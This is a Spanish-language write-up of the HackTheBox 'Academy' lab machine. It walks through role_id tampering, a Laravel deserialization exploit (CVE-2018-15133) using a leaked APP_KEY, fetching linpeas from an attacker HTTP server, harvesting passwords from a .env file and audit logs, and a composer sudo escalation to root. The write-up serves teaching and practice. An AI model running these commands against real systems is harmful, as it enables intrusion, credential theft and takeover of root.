HackTheBox - Academy

Lanz
Funk Lanz el
HackTheBox - Academy

Máquina Linux nivel fácil. Pensaremos en bases de datos (eh?), deserializaremos mentes :o, jugaremos con archivos ‘log’ y romperemos un binario que nos dará en este caso dependencia de ser dueños del sistema :P

297academyHTB

TL;DR (Spanish writeup)

Creadores: egre55 & mrb3n.

Este writeup lo hice después de haber resuelto la máquina, por lo tanto (quizás) iré muy directo :P

Holas, como tas?

Bueno, empezaremos con un panel algo juguetón en el cual nos registraremos, asignándonos un rol distinto al que tiene por defecto, con él haremos que nuestro usuario se pueda logear en otro recurso solo para administradores e.e Conseguiremos un nuevo dominio en el que encontramos muchos errores :( de los cuales nos aprovecharemos de uno que explota una mala deserialización para conseguir una Shell como www-data :)

Ya estando dentro simplemente enumerando conseguiremos unas credenciales para migrarnos al usuario cry0l1t3, con él obtendremos la flag user.txt. Este usuario cuenta con el grupo adm, lo usaremos para enfocarnos en los archivos log del sistema u.u

Dando unas vueltas por internet y en la máquina, finalmente encontramos una herramienta que se complementa con los archivos log para conseguir las credenciales del usuario mrb3n, nos migraremos a él.

Con enumeración básica nos daremos cuenta de que mrb3n puede ejecutar /usr/bin/composer en el sistema con permisos de adminstrador… Nos veremos forzados :P a usar esto para conseguir una Shell en el sistema como usuario root… A darle candela ;)

Clasificación de la máquina.

Enumeración pa rato y con tintes de realidad.

Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo plasmar lo que hice.

  1. Enumeración.
  2. Explotación.
  3. Escalada de privilegios.

Enumeración #

Empezamos realizando un escaneo de puertos para saber que servicios esta corriendo.

–» nmap -p- --open -v 10.10.10.215 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función de S4vitar que me extrae los puertos en la clipboard
–» cat initScan 
# Nmap 7.80 scan initiated Wed Jan 13 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.215
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.215 ()   Status: Up
Host: 10.10.10.215 ()   Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 33060/open/tcp//mysqlx///
# Nmap done at Wed Jan 13 25:25:25 2021 -- 1 IP address (1 host up) scanned in 114.32 seconds

Muy bien, ¿que tenemos?

Puerto Descripción
22 SSH: Conexion remota segura mediante una shell
80 HTTP: Protocolo que permite la comunicación y transferencia de info a traves de la web
33060 mysqlx: “MySQL Shell API”

Hagamos nuestro escaneo de scripts y versiones en base a cada puerto, con ello obtenemos informacion mas detallada de cada servicio:

–» nmap -p 22,80,33060 -sC -sV 10.10.10.215 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo
–» cat portScan
# Nmap 7.80 scan initiated Wed Jan 13 25:25:25 2021 as: nmap -p 22,80,33060 -sC -sV -oN portScan 10.10.10.215
Nmap scan report for 10.10.10.215                                                               
Host is up (0.20s latency).                                                                     
                                                                                                
PORT      STATE SERVICE VERSION                                                                 
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))                    
|_http-server-header: Apache/2.4.41 (Ubuntu)                                                    
|_http-title: Did not follow redirect to http://academy.htb/              
33060/tcp open  mysqlx?                                                                         
| fingerprint-strings:                                                                          
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"                                                                          
|_    HY000                                                                                     
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.80%I=7%D=1/13%Time=5FFF22AB%P=x86_64-pc-linux-gnu%r(N
...
SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 13 25:25:25 2021 -- 1 IP address (1 host up) scanned in 44.18 seconds

Tenemos:

Puerto Servicio Versión
22 SSH OpenSSH 8.2p1 Ubuntu 4
80 HTTP Apache httpd 2.4.41
33060 mysqlx mysqlx (pero no estamos seguros)

Puerto 8080

297page80

Podemos crearnos una cuenta o logearnos, creémonos una a ver con que nos encontramos:

297page80_register

Y ahora ingresamos mediante el login… Estando dentro tenemos:

297page80_home

Varios módulos con temas de aprendizaje, aunque ninguno redirecciona a ningún lado :P Haciendo algo de fuzzing nos encontramos con la página admin.php que es otro login:

297page80_adminLogin

Pero con nuestras credenciales no podemos ingresar…

Después de dar vueltas nos damos cuenta de algo interesante al momento de crear la cuenta:

297page80_register_hiddenInput

Un input escondido con valor por defecto 0 que además su nombre es role_id… Si recordamos por un momento las bases de datos, donde los usuarios son guardados a veces con id y donde el número 1 es generalmente el administrador. Nos da una idea que podemos probar a cambiar el valor a 1 y después probar en los logins que tenemos a ver si cambia algo…

Hacemos el mismo proceso de creación de cuenta solo que ahora nos apoyamos mediante CTRL + SHIFT + I para ver el inspector de código y así cambiar el valor del input:

Explotación #

297page80_register_newID

Validando, no hay cambio (a simple vista) en la web donde tenemos todos los módulos, pero en la de admin.php obtenemos algo nuevo:

297page80_adminLogin_done

Perfecto, tamos dentro del login como usuario administrador… Nos topamos con unos ítems a hacer, entre ellos el ultimo esta pendiente: (Arreglar problema con dev-staging-01.academy.htb), por lo tanto agreguemos ese dominio al /etc/hosts y veamos que tiene:

–» cat /etc/hosts
...
10.10.10.215  academy.htb dev-staging-01.academy.htb
...

Ponemos en la web ese dominio yyyy:

297page80_dev_staging_01

Vale, vale, valeeeeeee, tenemos muchos errores relacionados con el framework Laravel :P Y también alguna data interesante:

297page80_dev_staging_01_details1

297page80_dev_staging_01_details2

Tenemos cositas interesantes, como rutas, posibles usuarios, servicios, el PATH y algo llamado APP_KEY, que parece algo interesante, pero no lo sabemos aún, ahora nos queda leer los errores, extraer rutas interesantes y buscarlas en internet, quizás alguna tenga su CVE o exploit relacionado…

Después de algo de búsqueda exhaustiva (: encontramos este exploit:

297google_foundCVE2018_15133

Que no cubre toda la búsqueda, pero involucra Illuminate que es uno de los servicios que estamos corriendo… Leyendo sobre el exploit, explota el CVE CVE-2018-15133 y el CVE-2017-16894. Basicamente se aprovecha de una brecha en el framework laravel (vamos bien) donde al momento de llamar el método Illuminate/Encryption/Encrypter.php se puede producir una deserializacion insegura, en la que podemos ejecutar comandos en el sistema antes de que nos muestre algún error. No requerimos autenticación, pero si el token API_KEY (perfe, lo tenemos) para poder aprovecharnos… Este exploit es un módulo de metasploit, busquemos en internet algún PoC sobre CVE-2018-15133.

Con algo de suerte, pero también deseando no haberla tenido, encontramos este exploit relacionado con el CVE-2018-15133:

En su descripción dice que hizo el script enfocado en una máquina de HackTheBox . _. ya que no quería usar metasploit y quería practicar su scripting :P

Y también en las imágenes nos muestra como se debe usar, donde el API_KEY es el mismo que tenemos nosotros :I Y bueno, que se le hace, desearía que hubiera sido mucho más implícito, pero pues una vez lo vez, ya paila, a usarlo y seguir:

Nos bajamos el script y su uso es sencillo:

–» python3 pwn_laravel.py 
usage: pwn_laravel.py [-h] [-c COMMAND] [-m {1,2,3,4}] [-i] URL API_KEY
pwn_laravel.py: error: the following arguments are required: URL, API_KEY
–» python3 pwn_laravel.py http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= -c whoami
www-data

Bien, tenemos ejecución de comandos en el sistema, intentemos generar una reverse Shell (:

297bash_CVE2018_15133_revsh

Listos, tamos dentro, hagamos de nuestra Shell una totalmente interactiva, ya que con la que tenemos estamos limitados, no podemos ver los comandos anteriormente ingresados, no podemos hacer CTRL + C, así que hagamos tratamiento de la TTY:

www-data@academy:/var/www/html/htb-academy-dev-01/public$ script /dev/null -c bash
# Ahora CTRL + Z (acá volvemos a nuestra máquina de atacante)
# Escribimos lo siguiente:
–» stty raw -echo
–» fg (aunque no se vea cuando lo coloquemos, si se está escribiendo, damos enter)
# Nos retornará a lo que teníamos detenido, solo debemos escribir: reset
–» nc -lvp 4433
               reset
reset: unknown terminal type unknown
# Y después: xterm
Terminal type? xterm

En ejecución se veria asi:

297bash_revSH_tty1

Y por ultimo indicamos:

www-data@academy:/var/www/html/htb-academy-dev-01/public$ export TERM=xterm
www-data@academy:/var/www/html/htb-academy-dev-01/public$ export SHELL=bash
www-data@academy:/var/www/html/htb-academy-dev-01/public$ stty rows 43 columns 192 (Esto es para contar con toda la pantalla, depende de la pantalla de cada uno, para verificar abran una terminal y escriban `stty -a`, ahí salen las filas y columnas. El mejor ejemplo del uso de esto es corriendo `nano` antes de ejecutar esta línea)

297bash_revSH_nanoproblem

Ejecutamos la linea:

297bash_revSH_nanodone

En este recurso s4vitar lo explica en un video:

Ahora si, sigamos:

www-data@academy:/var/www/html/htb-academy-dev-01/public$ ls -la /home/
total 32
drwxr-xr-x  8 root     root     4096 Aug 10 00:34 .
drwxr-xr-x 20 root     root     4096 Aug  7 12:07 ..
drwxr-xr-x  2 21y4d    21y4d    4096 Aug 10 00:34 21y4d
drwxr-xr-x  2 ch4p     ch4p     4096 Aug 10 00:34 ch4p
drwxr-xr-x  6 cry0l1t3 cry0l1t3 4096 Jan 13 01:36 cry0l1t3
drwxr-xr-x  3 egre55   egre55   4096 Aug 10 23:41 egre55
drwxr-xr-x  2 g0blin   g0blin   4096 Aug 10 00:34 g0blin
drwxr-xr-x  7 mrb3n    mrb3n    4096 Jan 13 01:25 mrb3n

Varios usuarios en el sistema, vemos dos que han sido actualizados hace poco, cry0l1t3 y mrb3n. La bandera user.txt está en el usuario cry0l1t3, vemos como escalar a él…

Subiendo el script de enumeración linpeas.sh a la máquina y ejecutándolo conseguimos una contraseña:

–» python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
www-data@academy:/dev/shm$ wget http://10.10.14.141:8000/linpeas.sh
www-data@academy:/dev/shm$ chmod +x linpeas.sh
www-data@academy:/dev/shm$ ./linpeas.sh
...

297bash_revSH_foundCreds

Tenemos en el archivo /var/www/html/academy/.env una contraseña. Pues, ya que estamos probemos con alguno de los usuarios a ver si se nos permite el login:

www-data@academy:/dev/shm$ ls /home/
21y4d  ch4p  cry0l1t3  egre55  g0blin  mrb3n
www-data@academy:/dev/shm$ su 21y4d
Password: 
su: Authentication failure
www-data@academy:/dev/shm$ su ch4p
Password: 
su: Authentication failure
www-data@academy:/dev/shm$ su cry0l1t3
Password: 
$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
$ 

Perfectoo, ahora… A seguir enumerando.

$ script /dev/null -c bash
Script started, file is /dev/null
cry0l1t3@academy:/dev/shm$ 

Escalada de privilegios #

El usuario cry0l1t3 está asignado al grupo adm que en pocas palabras permite ver los archivos /var/log/* de la máquina. Veamos si eso es algo importante, corramos de nuevo el script linpeas.sh a ver si obtenemos algo nuevo con base en los archivos log.

Group adm is used for system monitoring tasks. Members of this group can read many log files in /var/log, and can use xconsole. wiki.debian.org/SystemGroups

Corriendo linpeas.sh no obtenemos nada nuevo, buscando por internet como aprovecharnos de los archivos log di con este artículo:

El cual habla de como los usuarios que efectúan su/sudo en el sistema, dejan sus credenciales grabadas en el archivo /var/log/audit/audit.log

You can view the audit log with aureport --tty.

Si lo ejecutamos, tenemos:

cry0l1t3@academy:/dev/shm$ aureport --tty

TTY Report
===============================================
# date time event auid term sess comm data
===============================================
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log
1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl>
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>
3. 08/12/2020 02:28:24 89 0 ? 1 sh "whoami",<nl>
4. 08/12/2020 02:28:28 90 0 ? 1 sh "exit",<nl>
5. 08/12/2020 02:28:37 93 0 ? 1 sh "/bin/bash -i",<nl>
...
...

Bien, obtenemos unas posibles credenciales del usuario mrb3n, validemoslas:

cry0l1t3@academy:/dev/shm$ su mrb3n
Password: 
$ id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)
$ 

Nice, pues veamos para qué queremos ser el usuario mrb3n en el sistema…

Después de enumerar y no enumerar lo básico :P encontramos esto:

$ script /dev/null -c bash
Script started, file is /dev/null
mrb3n@academy:/dev/shm$ sudo -l
[sudo] password for mrb3n: 
Matching Defaults entries for mrb3n on academy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mrb3n may run the following commands on academy:
    (ALL) /usr/bin/composer
mrb3n@academy:/dev/shm$ 

Nos indica que podemos ejecutar /usr/bin/composer con permisos de administrador indicándole sudo al inicio, pues busquemos como podemos explotar ese binario…

Si nos vamos al siempre confiable GTFOBins (que tiene un gran compilado de binarios que pueden ser usados para saltarse algunos métodos de seguridad en el sistema), encontramos composer y una manera de obtener una Shell en el sistema:

En la máquina escribimos:

mrb3n@academy:/dev/shm$ TF=$(mktemp -d)
mrb3n@academy:/dev/shm$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
mrb3n@academy:/dev/shm$ sudo /usr/bin/composer --working-dir=$TF run-script x
PHP Warning:  PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
PHP Warning:  PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
# id
uid=0(root) gid=0(root) groups=0(root)
#

Listones, tenemos una Shell como root en el sistema, lo único que nos quedaría ver serian las flags:

297flags

Y hemos terminado, siendo root podemos hacer lo que queramos :P

Linda máquina, muy didáctica, su nombre (academy) esta de acuerdo con lo que toma, nos recuerda la implementación de una buena sanitización HTML, el hacer un buen research con base en lo que tenemos (errores y rutas), enumeración de archivos, probar contraseñas que probablemente no “deban” estar relacionadas, pero que si tenemos en cuenta que somos personas muchas veces olvidadizas o perezosas, asignamos la misma contraseña para varios servicios…

También nos muestra la importancia de los archivos log (y lo peligrosos) y finalmente el clásico, ver si podemos ejecutar algún recurso con permisos de administrador (:

Linda máquina, muchas gracias por leer y como siempre, a seguir rompiendo todo (:

Comments

comments powered by Disqus